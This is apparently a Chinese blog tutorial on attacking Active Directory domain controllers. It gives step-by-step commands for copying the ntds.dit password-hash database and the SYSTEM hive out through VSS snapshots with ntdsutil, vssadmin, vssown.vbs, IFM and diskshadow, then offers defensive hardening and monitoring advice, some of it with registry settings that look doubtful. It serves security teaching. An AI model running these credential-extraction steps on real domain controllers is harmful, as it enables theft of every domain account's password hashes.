当前位置: 首页 > news >正文

内网后渗透攻击--域控制器安全(1)

用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。

在实际网络环境中,攻击者渗透内网的终极目标是获取域控制器的权限,从而控制整个域。这里我们主要是通过使用kerberos域用户提权和导出ntds.dit中散列值的方法,并且针对域控制器攻击提出有效的安全建议。

为什么要提取ntds.dit文件?

ntds.dit 作为 Active Directory(AD)的核心数据库,存储了域内用户账号、密码哈希、权限配置等高度敏感信息。所以如果要进行域控制器攻击,其ntds.dit文件是必不可少的。

使用卷影拷贝服务(VSS)提取ntds.dit

卷影拷贝服务(Volume Shadow Copy Service,简称 VSS)是 Microsoft Windows 从 Windows XP/Server 2003 开始内置的系统级服务,核心目标是解决「在线数据一致性备份」问题 —— 即无需中断应用程序运行、无需关闭被锁定文件,即可为磁盘卷创建一份「时间点一致」的快照(称为「卷影拷贝」或「影子副本」)。

VSS 的关键组件

VSS 并非单一服务,而是由 5 个核心组件 协同工作,各组件分工明确,共同完成快照的创建与管理。

组件名称核心角色典型示例
VSS 服务(Volume Shadow Copy Service)「协调者」:负责调度其他组件,处理快照创建 / 删除的流程控制,维护组件间通信。系统服务 VSS(可在「服务」中查看,默认自动启动)。
请求者(Requester)「发起者」:主动请求创建 / 使用快照的程序,通常是备份软件或管理工具。- Windows Server Backup
ntdsutil/vssadmin 命令行工具
- 第三方备份软件(如 Veeam、Commvault)。
写入器(Writer)「协同者」:嵌入在应用程序中的 VSS 适配模块,负责确保应用数据一致性。- Active Directory 写入器(确保 ntds.dit 快照一致)
- SQL Server 写入器(确保数据库事务日志与数据文件同步)
- 系统写入器(确保系统文件如 system.hive 一致性)。
提供程序(Provider)「执行者」:实际负责创建 / 管理快照的模块,分为「软件提供程序」和「硬件提供程序」两类。软件提供程序(默认):Windows 内置,基于文件系统实现快照,无需硬件支持。
硬件提供程序:由存储厂商提供(如 Dell、EMC),基于硬件阵列实现快照,速度更快。
卷影拷贝存储区(Shadow Copy Storage Area)「存储区」:用于保存快照的「差分数据」(快照创建后文件的变化部分),默认位于同一卷,也可指定其他卷

VSS 工作原理(完整流程)

VSS 快照的创建过程本质是「组件协同 + 差分存储」的组合,可分为 6 个关键步骤,以下以「备份软件(请求者)创建 C 盘快照」为例,拆解核心逻辑:

步骤 1:请求者发起快照请求
  1. 备份软件(请求者)通过 VSS API 向「VSS 服务」发送请求:「需要为 C 盘创建一份应用一致性快照」。
  2. VSS 服务接收到请求后,首先检查 C 盘是否支持 VSS(需 NTFS 或 ReFS 文件系统,FAT32 不支持),并确认「写入器」和「提供程序」是否正常运行。
步骤 2:VSS 协调写入器准备数据

这是 VSS 保证「数据不损坏」的核心步骤 —— 通过写入器(Writer)与应用程序协同,冻结「瞬时数据状态」:

  1. VSS 服务向所有已注册的「写入器」发送「准备通知」(Prepare For Snapshot)。
  2. 各写入器执行预操作:
    • 应用级写入器(如 SQL Server 写入器):暂停当前事务、将内存中的脏数据(未写入磁盘的数据)刷入磁盘、记录事务日志的当前位置(确保快照后可恢复事务)。
    • 系统写入器(如 AD 写入器):确保 ntds.dit 等锁定文件的当前状态被完整记录,避免部分写入。
  3. 所有写入器准备完成后,向 VSS 服务返回「准备就绪」信号。
步骤 3:冻结文件系统

为了避免「写入器准备完成后、快照创建前」的间隙中,有新数据写入磁盘(导致数据不一致),VSS 服务会执行「文件系统冻结」:

  1. VSS 服务向「提供程序」发送指令,短暂冻结 C 盘的文件系统写入操作(冻结时间通常仅几毫秒,用户和应用无感知)。
  2. 冻结期间,所有对 C 盘的写入请求(如文件修改、日志写入)会被暂时排队,不实际执行。
步骤 4:提供程序创建快照

冻结完成后,「提供程序」开始创建快照,但 并非复制整个卷的数据(否则占用空间大、速度慢),而是通过「差分引用」实现高效快照:

两种提供程序的实现差异:
  • 软件提供程序(默认)

    1. 在「卷影拷贝存储区」中创建一个「差分映射表」(记录每个文件块的原始位置)。
    2. 标记当前卷的所有数据块为「只读」—— 后续对这些数据块的修改,会触发「写时复制(Copy-On-Write,COW)」机制:
      • 当应用要修改某个数据块时,系统先将该块的「原始数据」复制到「卷影拷贝存储区」,再对原卷的数据块进行修改。
      • 快照始终引用「原始数据块」和「存储区中的历史块」,因此访问快照时,看到的是创建时刻的完整数据。
  • 硬件提供程序(需硬件支持)

    1. 直接通过存储阵列的硬件功能(如 RAID 控制器)创建卷的「物理快照」,无需依赖操作系统的 COW 机制。
    2. 速度更快(硬件级操作),且不占用主机 CPU 资源,适合大型存储环境(如企业级数据库服务器)。
  1. 快照创建完成后,VSS 服务立即「解冻」文件系统,排队的写入请求恢复执行(用户无感知)。
步骤 5:挂载快照并提供访问
  1. 提供程序将创建的快照映射为一个「虚拟路径」(如 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX 或 C:\$SNAP_202508241234_VOLUMEC$)。
  2. 请求者(如备份软件)通过该虚拟路径访问快照中的数据,执行备份或文件拷贝(如你之前拷贝 ntds.dit)—— 此时访问的是「只读快照」,不会影响原卷数据。
步骤 6:快照清理

快照创建后不会永久保留(默认保留时间由系统或管理员配置),清理流程如下:

  1. 当快照过期、存储区空间不足,或管理员主动删除时,VSS 服务向提供程序发送「删除快照」指令。
  2. 提供程序删除「卷影拷贝存储区」中该快照对应的「差分数据块」和「映射表」,释放存储空间。
  3. 若删除的是最后一个快照,存储区中与该快照关联的所有历史数据块都会被清理。

上面就是关于VSS的详细介绍,接下来就是通过实操进行深入了解以及掌握

1、使用ntdsutil工具提取ntds.dit

ntdsutil 是 Microsoft Windows Server 中专门用于管理 Active Directory 数据库(ntds.dit) 的命令行工具,主要用于域控制器(Domain Controller)上的高级操作,如快照管理、数据库维护、域服务配置等。它是处理 Active Directory 核心数据的关键工具

启动命令提示符:以管理员身份打开cmdPowerShell

创建快照

ntdsutil snapshot "activate instance ntds" create quit quit

该命令会为ntds.dit所在的系统卷生成一个时间戳命名的快照(例如$SNAP_202508241234_VOLUMEC$)。

将快照加载到系统

ntdsutil snapshot “mount ID" quit quit
#命令中的ID就是上面创建快照所给的ID

使用copy将快照中的文件复制出来

copy C:\.........\windows\ntds\ntds.dit c:\temp\ntds.dit
#命令中....在装载快照是会给出

读取成功后删除快照

ntdsutil snapshot "unmount ID" "delete ID" quit quit

2、利用vssadmin提取ntds.dit

利用 vssadmin 工具(卷影拷贝服务管理工具)提取 ntds.dit 文件的核心思路是:通过创建磁盘卷影副本(快照)绕过 ntds.dit 的文件锁定,再从快照中复制文件。

使用 vssadmin 创建卷影拷贝

打开管理员命令提示符
按下 Win + R,输入 cmd,右键「以管理员身份运行」。

创建系统卷(通常是 C 盘)的快照

执行以下命令(/for=c: 表示为 C 盘创建快照):

vssadmin create shadow /for=c:

记录 卷影副本路径(如 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2),后续需通过该路径访问快照中的文件。

使用 copy 命令,将快照中的 ntds.dit 复制到本地,并且进行查看

copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\Windows\NTDS\ntds.dit" "C:\AD_Backup\ntds.dit"
dir c:\ |findstr "ntds"#查看文件

3、利用vssown.vbs脚本提取ntds.dit

vssown.vbs 是一款常用于管理卷影拷贝服务(VSS)的 VBScript 脚本,其核心功能是简化卷影快照的创建、查询和删除操作,从而更便捷地提取被系统锁定的文件(如 ntds.dit

使用 vssown.vbs 创建卷影快照

vssown.vbs 通过封装 VSS API,提供了比 vssadmin 更简洁的快照管理命令。核心步骤如下:

先启动卷影拷贝服务

cscript vssown.vbs /start

创建系统卷(通常为 C 盘)的快照
在命令行中执行以下命令,创建 C 盘的卷影副本:

cscript vssown.vbs /create c

使用命令列出当前的卷影拷贝

cscript vssown.vbs /list

使用copy命令提取

copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit" "C:\AD_Backup\ntds.dit"

使用命令删除卷影拷贝

cscript vssown.vbs /delete ID

4、使用ntdsutil的IFM创建卷影拷贝

使用 ntdsutil 的 IFM(Install From Media,从介质安装) 功能创建卷影拷贝是一种更高效的方式,其核心是通过生成可用于部署额外域控制器的介质,过程中会自动利用卷影拷贝服务(VSS)获取一致性的 ntds.dit 数据库及相关文件,无需手动管理快照。

IFM 与卷影拷贝的关系

IFM 的主要作用是创建包含 Active Directory 数据(ntds.dit、日志文件、系统配置等)的介质,用于快速安装新域控制器(无需通过网络同步完整数据)。其底层通过调用 VSS 自动创建卷影拷贝,确保提取的 ntds.dit 处于一致性状态(避免文件锁定导致的损坏)。

使用 IFM 创建卷影拷贝(生成 IFM 介质)

首先先创建活动实例,不然无法使用ifm

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

将ntds.dit复制到活动目录

dir "c:\test\Active Directory"

然后将SYSTEM和SECURITY复制到c:\test\registry文件夹下

dir "c:\test\registry"

然后使用nishang中的Copy-VSS.psl脚本提取出来,这里不再展示

import-module .\Copy-VSS.psl  #导入脚本
Copy-VSS   #执行命令

5、使用diskshadow导出ntds.dit

diskshadow 是 Windows 系统中一款功能更强大的卷影拷贝管理工具,支持脚本化操作,可通过命令序列精细控制卷影快照的创建、挂载和删除过程,非常适合导出被锁定的 ntds.dit 文件。这里展示步骤和命令,不展示实操。

使用 diskshadow 导出 ntds.dit 流程

步骤 1:创建 diskshadow 脚本(核心命令序列)
  1. 在本地创建一个文本文件(如 C:\scripts\vss_script.txt),写入以下命令:

    # 启用卷影拷贝服务
    set context persistent nowriters
    # 添加系统卷(通常为 C:,若 ntds.dit 在其他分区需修改)
    add volume c: alias myvolume
    # 创建快照
    create
    # 将快照暴露为 Z: 驱动器(确保 Z: 未被占用)
    expose %myvolume% z:
    # 退出 diskshadow
    exit
    
     
    • 命令说明:
      • set context persistent nowriters:创建持久化快照(重启后不消失),且不等待应用程序写入器(适合快速操作)。
      • add volume c: alias myvolume:指定要快照的卷(C 盘),并为其命名为 myvolume 便于后续引用。
      • expose %myvolume% z::将快照映射为 Z: 驱动器,简化文件访问路径。
步骤 2:执行脚本创建快照并挂载

以管理员身份打开命令提示符,执行以下命令运行脚本:

diskshadow /s C:\scripts\vss_script.txt

命令执行成功后

卷影副本 ID: {a1b2c3d4-5678-90ef-ghij-klmnopqrstuv}
卷影副本已暴露为 Z:

此时,Z: 驱动器即为 C 盘的快照副本,可直接访问其中的文件。

步骤 3:复制 ntds.dit 和 system.hive
  1. 创建本地备份目录:

    mkdir C:\AD_Backup
    
  2. 从快照驱动器(Z:)复制 ntds.dit

    copy Z:\Windows\NTDS\ntds.dit C:\AD_Backup\ntds.dit
    
  3. 导出 system.hive(用于解密):

    reg save hklm\system C:\AD_Backup\system.hive

防御建议

权限最小化:阻断未授权 VSS 操作的核心入口

VSS 相关操作(创建快照、挂载、提取文件)依赖高权限,需严格限制权限范围,避免权限滥用或账号泄露导致的风险。

1. 限制 VSS 操作相关用户权限
  • 最小化「备份操作员」和「管理员」组成员
    只有必要的 IT 运维人员才能加入这两个组 —— 前者默认拥有「备份文件和目录」「还原文件和目录」用户权利(执行 VSS 操作的核心权限),后者直接具备完整系统控制权。定期审计组成员,移除冗余账号。
  • 禁用普通用户的 VSS 相关用户权利
    通过「本地安全策略」(secpol.msc)或 组策略(GPO) 限制「备份文件和目录」「还原文件和目录」权利,仅授予授权的域控制器管理员账号,禁止普通用户或服务账号获取该权限。
    路径:计算机配置 > Windows 设置 > 安全设置 > 本地策略 > 用户权限分配
  • 限制域控制器本地管理员权限
    避免将普通服务器管理员账号添加到域控制器的「本地管理员」组,防止跨服务器权限滥用(如通过普通服务器管理员账号远程登录域控制器执行 VSS 操作)。
2. 加固 VSS 服务及工具的访问权限
  • 限制 VSS 相关工具的执行权限
    对 vssadmin.exeC:\Windows\System32\)、diskshadow.exeC:\Windows\System32\)、ntdsutil.exeC:\Windows\System32\)等工具设置严格的文件 ACL(访问控制列表),仅允许「SYSTEM」和授权管理员账号拥有「读取 + 执行」权限,拒绝其他所有账号(包括「备份操作员」组,如需执行可临时授权)。
  • 禁用不必要的 VSS 提供程序
    VSS 依赖「提供程序」(如系统自带的「Microsoft Software Shadow Copy provider」、第三方备份软件的提供程序)创建快照。通过 vssadmin list providers 查看已安装的提供程序,卸载或禁用未使用的第三方提供程序(可能存在漏洞或被攻击者利用),仅保留系统默认提供程序。

VSS 配置加固:缩小攻击面,防止滥用

通过配置限制 VSS 快照的创建、存储和访问,减少攻击者可利用的漏洞点。

1. 限制 VSS 快照的创建范围与生命周期
  • 禁止非系统卷的 VSS 快照(按需)
    若 ntds.dit 仅存储在系统卷(通常为 C 盘),可通过组策略禁用其他卷(如 D 盘、E 盘)的 VSS 功能,避免攻击者通过非系统卷快照间接获取敏感数据。
    路径:计算机配置 > 管理模板 > Windows组件 > 卷影复制 > 禁用卷影复制(仅针对非系统卷生效,需单独配置)。
  • 设置快照存储限制与自动清理
    防止攻击者创建大量快照占用磁盘空间或长期留存快照(作为后门):
    1. 通过 vssadmin resize shadowstorage /for=C: /on=C: /maxsize=10GB 限制系统卷快照存储的最大容量(根据磁盘空间调整,避免影响系统运行)。
    2. 启用快照自动清理:通过任务计划程序创建定时任务,每周执行 vssadmin delete shadows /for=C: /all /quiet(仅保留必要的备份快照,需与正常备份策略协调)。
2. 阻止 VSS 快照的未授权挂载与暴露
  • 禁用 diskshadow 的「expose」命令(高安全需求场景)
    攻击者常用 diskshadow 的 expose 命令将快照映射为驱动器号(如 Z:),方便提取 ntds.dit。可通过修改注册表禁用该功能:
    路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DiskShadow
    新建「DWORD(32 位)值」DisableExpose,值设为「1」(需重启系统生效)。
  • 限制 VSS 快照的访问权限
    系统默认对 VSS 快照的访问权限继承自源卷,但可通过修改注册表强化:
    路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\VSS\Settings
    新建「DWORD(32 位)值」EnableSnapshotACL,值设为「1」,强制 VSS 快照使用独立 ACL(仅授权管理员访问)。

监控与审计:及时发现异常 VSS 操作

攻击者执行 VSS 提取 ntds.dit 时,必然会留下操作痕迹,需通过日志监控和行为分析及时告警。

 监控 VSS 相关工具的调用行为
  • 监控敏感进程启动
    通过 Windows 事件日志(安全日志)或 EDR(终端检测与响应)工具,监控以下进程的启动事件(事件 ID:4688,「进程创建」),并设置告警(如非授权时间、非授权账号启动):
    • vssadmin.exe(创建 / 删除快照)
    • diskshadow.exe(高级快照操作)
    • ntdsutil.exe(AD 相关快照操作)
    • cscript.exe/wscript.exe(执行 vssown.vbs 等 VSS 脚本)
      关键审计字段:「新进程名称」「创建者进程名称」「客户端用户 ID」(账号)。

这里我们讲述了如何提取ntds.dit文件,下一篇文章我们将讲述如何导出ntds.dit中的散列值。

http://www.dtcms.com/a/349148.html

相关文章:

  • 控制启动过程
  • 【typenum】 25 去除无符号整数前导零的特性(private.rs片段)
  • 重塑招聘战场:AI得贤招聘官AI面试智能体6.3如何用“精准”重新定义人才筛选?
  • C++(String):
  • 2025 年 8 月 22 日科技前沿:技术突破与范式跃迁的交汇点
  • golang1 专栏导学
  • 算法题(190):食物链(带权并查集)
  • leetcode 162 寻找峰值
  • 1、vue2面试题--生命周期
  • Goang开源库之go-circuitbreaker
  • HTTP请求中的CGI请求与登录注册机制
  • AI大模型企业落地指南-笔记01
  • Data_Formats_GRIDGeoTIFFShapeFile
  • 数据产品(2)用户画像数据分析模型
  • 【计算机视觉】CaFormer
  • 房屋装修设计管理系统的设计与实现/房屋装修管理系统
  • 审核问题——应用未配置图标的前景图和后景图
  • 深度剖析Spring AI源码(十):实战案例:智能客服系统
  • MySQL-delete tableName from ...
  • [GeographicLib] LocalCartesian用法
  • 从成本中心到价值创造者:网络安全运维的实施框架与价值流转
  • 深入两种高级并发设计模式
  • 零基础玩转STM32:深入理解ARM Cortex-M内核与寄存器编程
  • 奈飞工厂:算法优化实战
  • MySQL性能优化的5个维度
  • 02-开发环境搭建与工具链
  • 【Android Kotlin】Kotlin专题学习
  • 十一、redis 入门 之 数据持久化
  • [滑动窗口]1493. 删掉一个元素以后全为 1 的最长子数组
  • 3.6 虚拟存储器 (答案见原书 P225)